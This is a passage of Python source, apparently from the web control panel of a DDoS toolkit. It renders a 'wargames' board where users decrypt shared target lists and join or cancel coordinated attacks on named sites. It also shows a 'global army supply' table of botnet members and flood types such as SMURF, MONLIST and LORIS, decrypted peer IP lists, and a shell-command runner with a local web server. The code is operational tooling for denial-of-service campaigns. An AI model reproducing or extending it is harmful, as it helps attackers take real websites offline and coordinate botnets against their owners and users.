  7323. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  7324. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td><td align='center'>FRAGGLE:</td><td align='center'>SNIPER:</td><td align='center'>UFOACK:</td><td align='center'>UFORST:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_fraggle' value='"+str(self.supply_fraggle)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_sniper' value='"+str(self.supply_sniper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoack' value='"+str(self.supply_ufoack)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_uforst' value='"+str(self.supply_uforst)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td><td align='center'>DROPER:</td><td align='center'>OVERLAP:</td><td align='center'>PINGER:</td><td align='center'>UFOUDP:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_droper' value='"+str(self.supply_droper)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_overlap' value='"+str(self.supply_overlap)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_pinger' value='"+str(self.supply_pinger)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufoudp' value='"+str(self.supply_ufoudp)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  7325. else:
  7326. wargames_autopanel = ""
  7327. wargames_supply = ""
  7328. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  7329. f = open("/tmp/out", "w")
  7330. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  7331. wargames_id = 1
  7332. for m in self.list_wargames_rev: # list = creation, target, estimated
  7333. if wargames_msg_sep in m:
  7334. m = m.split(wargames_msg_sep)
  7335. wargames_creation = m[0] # creation date
  7336. self.decrypt(wargames_deckey, wargames_creation)
  7337. if self.decryptedtext:
  7338. wargames_creation = self.decryptedtext
  7339. else:
  7340. wargames_creation = nodec_text
  7341. self.decryptedtext = "" # clean decryptedtext buffer
  7342. wargames_target = m[1] # target
  7343. wargames_target_joined = wargames_target
  7344. self.decrypt(wargames_deckey, wargames_target)
  7345. if self.decryptedtext:
  7346. wargames_target = self.decryptedtext
  7347. if wargames_target.startswith("www."):
  7348. wargames_target = wargames_target.replace("www.","")
  7349. else:
  7350. wargames_target = nodec_text
  7351. self.decryptedtext = "" # clean decryptedtext buffer
  7352. wargames_estimated = m[2] # estimated time
  7353. self.decrypt(wargames_deckey, wargames_estimated)
  7354. if self.decryptedtext:
  7355. wargames_estimated = self.decryptedtext
  7356. wargames_join_flag = True
  7357. else:
  7358. wargames_estimated = nodec_text
  7359. self.decryptedtext = "" # clean decryptedtext buffer
  7360. else:
  7361. wargames_target = "KEY?"
  7362. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  7363. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  7364. try:
  7365. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  7366. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  7367. except: # discarding errors also on panel
  7368. wargames_creation = now
  7369. wargames_estimated = now
  7370. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  7371. wargames_creation = now
  7372. wargames_estimated = now
  7373. if (now >= wargames_estimated) == False: # change flag color when time is out
  7374. time_now = time.mktime(now)
  7375. time_estimated = time.mktime(wargames_estimated)
  7376. wargames_eta = (time_estimated - time_now)
  7377. hours, rem = divmod(wargames_eta, 3600)
  7378. minutes, seconds = divmod(rem, 60)
  7379. if "!!!" in wargames_target_joined:
  7380. status = "JOINED!"
  7381. wargames_status = "<font color='cyan'>"+status+"</font>"
  7382. if wargames_join_flag == True:
  7383. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  7384. else:
  7385. wargames_join = "KEY?" # present but with a different crypto-key
  7386. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7387. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7388. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  7389. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7390. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  7391. else:
  7392. status = "-ONGOING-"
  7393. wargames_status = "<font color='orange'>"+status+"</font>"
  7394. if wargames_join_flag == True:
  7395. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  7396. else:
  7397. wargames_join = "KEY?" # present but with a different crypto-key
  7398. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  7399. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7400. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  7401. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7402. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  7403. else:
  7404. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  7405. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  7406. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  7407. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  7408. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  7409. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  7410. status = "-CLOSED-"
  7411. wargames_status = "<font color='red'>"+status+"</font>"
  7412. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  7413. wargames_id = wargames_id + 1
  7414. wargames_table += "</table><br>"
  7415. f.write(wargames_table)
  7416. f.write(end_mark)
  7417. f.close()
  7418. if page == "/cmd_decrypt_wargames_update":
  7419. if not os.path.exists('/tmp/out'):
  7420. open('/tmp/out', 'w').close()
  7421. with open('/tmp/out', 'r') as f:
  7422. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  7423. if page == "/cmd_decrypt_links":
  7424. self.pages["/cmd_decrypt_links"] = "<pre>Waiting for decrypting results...</pre>"
  7425. try:
  7426. link_deckey = pGet["link_deckey"]
  7427. except:
  7428. link_deckey = ""
  7429. end_mark = "[Info] [AI] End of decryption."
  7430. if link_deckey != "": # links decryption
  7431. nodec_text = "This LINK cannot be solved with that KEY..."
  7432. links_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('creation','"+str(link_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('topic','"+str(link_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:LinkFilter('url','"+str(link_deckey)+"')>URL:</a></td></tr>"
  7433. f = open("/tmp/out", "w")
  7434. self.list_links_rev = reversed(self.list_links) # order by DESC
  7435. for m in self.list_links_rev: # list = creation, topic, url
  7436. if links_msg_sep in m:
  7437. m = m.split(links_msg_sep)
  7438. link_creation = m[0] # creation date
  7439. self.decrypt(link_deckey, link_creation)
  7440. if self.decryptedtext:
  7441. link_creation = self.decryptedtext
  7442. else:
  7443. link_creation = nodec_text
  7444. self.decryptedtext = "" # clean decryptedtext buffer
  7445. link_url = m[1] # url
  7446. self.decrypt(link_deckey, link_url)
  7447. if self.decryptedtext:
  7448. link_url = self.decryptedtext
  7449. if link_url.startswith("www."):
  7450. link_url = link_url.replace("www.","")
  7451. else:
  7452. link_url = nodec_text
  7453. self.decryptedtext = "" # clean decryptedtext buffer
  7454. link_topic = m[2] # topic
  7455. self.decrypt(link_deckey, link_topic)
  7456. if self.decryptedtext:
  7457. link_topic = self.decryptedtext
  7458. else:
  7459. link_topic = nodec_text
  7460. self.decryptedtext = "" # clean decryptedtext buffer
  7461. else:
  7462. link_creation = nodec_text
  7463. link_url = nodec_text
  7464. link_topic = nodec_text
  7465. if link_creation == nodec_text:
  7466. links_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td></tr>"
  7467. else:
  7468. links_table += "<tr><td align='center'>"+link_creation+"</td><td align='center'>"+link_topic+"</td><td align='center'><a href='"+str(link_url)+"' target='_blank'>"+str(link_url)+"</a></td></tr>"
  7469. links_table += "</table><br>"
  7470. f.write(links_table)
  7471. f.write(end_mark)
  7472. f.close()
  7473. if page == "/cmd_decrypt_links_update":
  7474. if not os.path.exists('/tmp/out'):
  7475. open('/tmp/out', 'w').close()
  7476. with open('/tmp/out', 'r') as f:
  7477. self.pages["/cmd_decrypt_links_update"] = "<pre>"+f.read()+"<pre>"
  7478. if page == "/cmd_decrypt_streams":
  7479. self.pages["/cmd_decrypt_streams"] = "<pre>Waiting for decrypting results...</pre>"
  7480. try:
  7481. stream_deckey = pGet["stream_deckey"]
  7482. except:
  7483. stream_deckey = ""
  7484. end_mark = "[Info] [AI] End of decryption."
  7485. if stream_deckey != "": # streams decryption
  7486. nodec_text = "This STREAM cannot be solved with that KEY..."
  7487. streams_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('creation','"+str(stream_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_topic' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('topic','"+str(stream_deckey)+"')>TOPIC:</a></td><td align='center'><a id='filter_url' style='color:red;text-decoration:underline red;' onclick=javascript:StreamFilter('url','"+str(stream_deckey)+"')>STREAM:</a></td><td align='center'>VIDEO:</td></tr>"
  7488. f = open("/tmp/out", "w")
  7489. self.list_streams_rev = reversed(self.list_streams) # order by DESC
  7490. stream_num = 0
  7491. for m in self.list_streams_rev: # list = creation, topic, url
  7492. if streams_msg_sep in m:
  7493. m = m.split(streams_msg_sep)
  7494. stream_creation = m[0] # creation date
  7495. self.decrypt(stream_deckey, stream_creation)
  7496. if self.decryptedtext:
  7497. stream_creation = self.decryptedtext
  7498. else:
  7499. stream_creation = nodec_text
  7500. self.decryptedtext = "" # clean decryptedtext buffer
  7501. stream_url = m[1] # url
  7502. self.decrypt(stream_deckey, stream_url)
  7503. if self.decryptedtext:
  7504. stream_url = self.decryptedtext
  7505. if stream_url.startswith("www."):
  7506. stream_url = stream_url.replace("www.","")
  7507. else:
  7508. stream_url = nodec_text
  7509. self.decryptedtext = "" # clean decryptedtext buffer
  7510. stream_topic = m[2] # topic
  7511. self.decrypt(stream_deckey, stream_topic)
  7512. if self.decryptedtext:
  7513. stream_topic = self.decryptedtext
  7514. else:
  7515. stream_topic = nodec_text
  7516. self.decryptedtext = "" # clean decryptedtext buffer
  7517. stream_id = str(stream_url.split("v=")[1]) # extract (Youtube) VideoID
  7518. stream_num = stream_num + 1
  7519. else:
  7520. stream_creation = nodec_text
  7521. stream_url = nodec_text
  7522. stream_topic = nodec_text
  7523. stream_id = None
  7524. if stream_creation == nodec_text:
  7525. streams_table += "<tr><td align='center'>KEY?</td><td align='center'>"+nodec_text+"</td><td align='center'>KEY?</td><td align='center'>KEY?</td></tr>"
  7526. else:
  7527. streams_table += "<tr><td align='center'>"+stream_creation+"</td><td align='center'>"+stream_topic+"</td><td align='center'><a href='"+str(stream_url)+"' target='_blank'>"+str(stream_url)+"</a></td><td align='center'><button id='play_button_"+str(stream_num)+"' value='"+str(stream_id)+"' onclick='PlayStream("+str(stream_num)+");return false;'>PLAY!</button><div id='video_"+str(stream_num)+"'></div></td></tr>"
  7528. streams_table += "</table><br>"
  7529. f.write(streams_table)
  7530. f.write(end_mark)
  7531. f.close()
  7532. if page == "/cmd_decrypt_streams_update":
  7533. if not os.path.exists('/tmp/out'):
  7534. open('/tmp/out', 'w').close()
  7535. with open('/tmp/out', 'r') as f:
  7536. self.pages["/cmd_decrypt_streams_update"] = "<pre>"+f.read()+"<pre>"
  7537. if page == "/cmd_decrypt_tv":
  7538. self.pages["/cmd_decrypt_tv"] = "<pre>Waiting for decrypting results...</pre>"
  7539. try:
  7540. tv_deckey = pGet["tv_deckey"]
  7541. except:
  7542. tv_deckey = ""
  7543. end_mark = "[Info] [AI] End of decryption."
  7544. if tv_deckey != "": # tv decryption
  7545. nodec_text = "*** [This TV.PEER cannot be solved with that KEY...]"
  7546. self.playlist = []
  7547. self.list_tv_rev = reversed(self.list_tv) # order by DESC
  7548. if self.list_tv:
  7549. tv_table = '<table cellpadding="35" cellspacing="35" border="1"><tr><td><u>PLAYLIST:</u><br><br><ul>'
  7550. else:
  7551. tv_table = '<table border="0"><tr><td>Never connected to any feed...</u><ul>'
  7552. f = open("/tmp/out", "w")
  7553. tv_num = 0
  7554. self.playing_title = ""
  7555. for n in self.list_tv_rev: # list = url
  7556. url_tv = n # url
  7557. try:
  7558. self.decrypt(tv_deckey, url_tv)
  7559. if self.decryptedtext:
  7560. url_tv = self.decryptedtext
  7561. if url_tv != "1": # black magic!
  7562. self.playlist.append(url_tv)
  7563. else:
  7564. url_tv = nodec_text
  7565. else:
  7566. url_tv = nodec_text
  7567. except:
  7568. url_tv = nodec_text
  7569. self.decryptedtext = "" # clean decryptedtext buffer
  7570. if url_tv != nodec_text:
  7571. if url_tv.endswith(".ogv"): # remote .ogv
  7572. o = urlparse(url_tv)
  7573. start = '/'
  7574. end = '.ogv'
  7575. s = o.path
  7576. r = re.compile(start+'(.*?)'+end)
  7577. m = r.search(s)
  7578. if m:
  7579. self.playing_title = m.group(1).split("/")[1]
  7580. tv_table += "<table><tr><td>[<a href='#' onclick=PlayTV('"+str(url_tv)+"')>PLAY!</a>]</td><td><a href='"+str(url_tv)+"' target='_blank'>"+str(self.playing_title)+"</a></td></tr></table>"
  7581. else:
  7582. tv_table +="<li>"+str(nodec_text)+"</li>"
  7583. if self.playlist: # random play one video from playlist | autostart - controls - preload - allowfullscreen
  7584. playlist_now = random.choice(self.playlist)
  7585. if playlist_now.endswith(".ogv"): # remote .ogv
  7586. o = urlparse(playlist_now)
  7587. start = '/'
  7588. end = '.ogv'
  7589. s = o.path
  7590. r = re.compile(start+'(.*?)'+end)
  7591. m = r.search(s)
  7592. if m:
  7593. self.playing_title_now = m.group(1).split("/")[1]
  7594. tv_table += "</ul></td></tr><tr><td><u>WATCHING:</u> <a id='tv_a' href='"+str(playlist_now)+"' target='_blank'><label id='tv_p'>"+str(self.playing_title_now)+"</label></a><br><br><video id='player' controls width='100%' height='480' preload='auto' autoplay><source id='tv_stream_source' src='"+str(playlist_now)+"' type='video/ogg' />Sorry, your browser doesn’t support HTML5 media.</video></td></tr></table><br>"
  7595. else:
  7596. tv_table += "</ul></td></tr></table><br>"
  7597. f.write(tv_table)
  7598. f.write(end_mark)
  7599. f.close()
  7600. if page == "/cmd_decrypt_tv_update":
  7601. if not os.path.exists('/tmp/out'):
  7602. open('/tmp/out', 'w').close()
  7603. with open('/tmp/out', 'r') as f:
  7604. self.pages["/cmd_decrypt_tv_update"] = "<pre>"+f.read()+"<pre>"
  7605. if page == "/cmd_decrypt_globalnet":
  7606. self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
  7607. try:
  7608. globalnet_deckey = pGet["globalnet_deckey"]
  7609. except:
  7610. globalnet_deckey = ""
  7611. end_mark = "[Info] [AI] End of decryption."
  7612. if globalnet_deckey != "": # globalnet decryption
  7613. nodec_text = "KEY?"
  7614. globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
  7615. f = open("/tmp/out", "w")
  7616. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  7617. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  7618. if globalnet_msg_sep in m:
  7619. m = m.split(globalnet_msg_sep)
  7620. globalnet_owner = m[0] # owner
  7621. self.decrypt(globalnet_deckey, globalnet_owner)
  7622. if self.decryptedtext:
  7623. globalnet_owner = self.decryptedtext
  7624. else:
  7625. globalnet_owner = nodec_text
  7626. self.decryptedtext = "" # clean decryptedtext buffer
  7627. globalnet_comment = m[1] # comment
  7628. self.decrypt(globalnet_deckey, globalnet_comment)
  7629. if self.decryptedtext:
  7630. globalnet_comment = self.decryptedtext
  7631. else:
  7632. globalnet_comment = nodec_text
  7633. self.decryptedtext = "" # clean decryptedtext buffer
  7634. globalnet_warp = m[2] # warp
  7635. self.decrypt(globalnet_deckey, globalnet_warp)
  7636. if self.decryptedtext:
  7637. globalnet_warp = self.decryptedtext
  7638. else:
  7639. globalnet_warp = nodec_text
  7640. if globalnet_warp == "OFF":
  7641. warp_color = "pink"
  7642. elif globalnet_warp == "ON1":
  7643. warp_color = "orange"
  7644. else: # ON2
  7645. warp_color = "blue"
  7646. self.decryptedtext = "" # clean decryptedtext buffer
  7647. globalnet_ip = m[3] # ip
  7648. self.decrypt(globalnet_deckey, globalnet_ip)
  7649. if self.decryptedtext:
  7650. globalnet_ip = self.decryptedtext
  7651. else:
  7652. globalnet_ip = nodec_text
  7653. self.decryptedtext = "" # clean decryptedtext buffer
  7654. else:
  7655. globalnet_owner = "KEY?"
  7656. globalnet_comment = "KEY?"
  7657. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
  7658. globalnet_table += "</table><br>"
  7659. f.write(globalnet_table)
  7660. f.write(end_mark)
  7661. f.close()
  7662. if page == "/cmd_decrypt_globalnet_update":
  7663. if not os.path.exists('/tmp/out'):
  7664. open('/tmp/out', 'w').close()
  7665. with open('/tmp/out', 'r') as f:
  7666. self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  7667. if page == "/blackholes":
  7668. self.pages["/blackholes"] = self.html_blackholes()
  7669. if page == "/requests":
  7670. if pGet=={}:
  7671. self.pages["/requests"] = self.html_requests()
  7672. else:
  7673. self.save_cfg(pGet)
  7674. self.pages["/requests"] = self.html_request_submit()
  7675. if page == "/abduction":
  7676. self.pages["/abduction"] = self.html_abduction()
  7677. if page == "/stats":
  7678. self.pages["/stats"] = self.html_stats()
  7679. if page == "/wormhole":
  7680. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  7681. ctype = "text/html"
  7682. if page.find(".js") != -1:
  7683. ctype = "application/javascript"
  7684. elif page.find(".txt") != -1:
  7685. ctype = "text/plain"
  7686. elif page.find(".ico") != -1:
  7687. ctype = "image/x-icon"
  7688. elif page.find(".png") != -1:
  7689. ctype = "image/png"
  7690. elif page.find(".css") != -1:
  7691. ctype = "text/css"
  7692. if page in self.pages:
  7693. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  7694. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  7695. class Command(object):
  7696. def __init__(self, cmd):
  7697. self.cmd = cmd
  7698. self.process = None
  7699. def run(self, timeout):
  7700. def target():
  7701. self.process = subprocess.Popen(self.cmd, shell=True)
  7702. thread = threading.Thread(target=target)
  7703. thread.start()
  7704. thread.join(timeout)
  7705. if thread.is_alive():
  7706. self.process.terminate()
  7707. thread.join()
  7708. if __name__ == "__main__":
  7709. webbrowser.open('http://127.0.0.1:9999', new=1)
  7710. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7711. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  7712. tcpsock.bind((host, port))
  7713. while True:
  7714. tcpsock.listen(4)
  7715. (clientsock, (ip, c_port)) = tcpsock.accept()
  7716. newthread = ClientThread(ip, c_port, clientsock)
  7717. newthread.start()